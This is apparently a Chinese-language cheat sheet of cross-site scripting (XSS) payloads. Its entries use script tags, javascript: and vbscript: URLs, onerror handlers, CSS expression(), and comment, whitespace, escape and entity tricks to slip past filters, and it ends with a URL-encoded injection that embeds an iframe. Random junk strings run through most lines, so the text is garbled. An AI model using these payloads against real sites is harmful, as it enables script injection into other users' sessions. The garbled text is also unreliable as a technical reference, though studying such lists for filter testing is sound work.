<script>alert("跨站")</script> (最常用) _! j+ U. ?8 S/ F) S4 C3 b% I( Y
<img scr=javascript:alert("跨站")></img>) D5 W+ j. a1 d
<img scr="javascript: alert(/跨站/)></img>- {" q, ~. q# G5 Y3 X6 B$ ^
<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格)% F' _3 k! d6 [
<img scr="#" onerror=alert(/跨站/)></img>
5 g; i% ]% y$ Q1 p- v* X% p6 Y<img scr="#" style="xss:expression(alert(/xss/));"></img>3 Y/ N$ K7 z7 G
<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释)
8 |" G, ?$ O$ ]2 e; Y<img src=vbscript:msgbox ("xss")></img>5 h9 k2 N$ m6 n3 m# R2 P
<style> input {left:expression (alert('xss'))}</style>+ `- P3 ~0 a' ]6 M
<div style={left:expression (alert('xss'))}></div>
1 n3 U) ^+ M5 J, e$ t7 [<div style={left:exp/* */ression (alert('xss'))}></div>
* @- ?$ Y6 I \$ o<div style={left:\0065\0078ression (alert('xss'))}></div># B9 v+ M6 h6 i8 v: [1 u
html 实体 <div style={left:&#x0065;xpression (alert('xss'))}></div>, C' H" D3 m3 P7 j7 y0 i6 S
unicode <div style="{left:expRessioN (alert('xss'))}">
$ q7 w& E3 i2 K6 u$ y3 z
% \# x8 I6 Q: |3 ~3 E p"]}%3Cscript%3Ealert('By b14ckb0y')%3C/script%3E{[&item="]<iframe%20src=http://new.qzone.qq.com/9530772%20width=400%20height=600></iframe>["+ L: M9 a& B& @5 U
|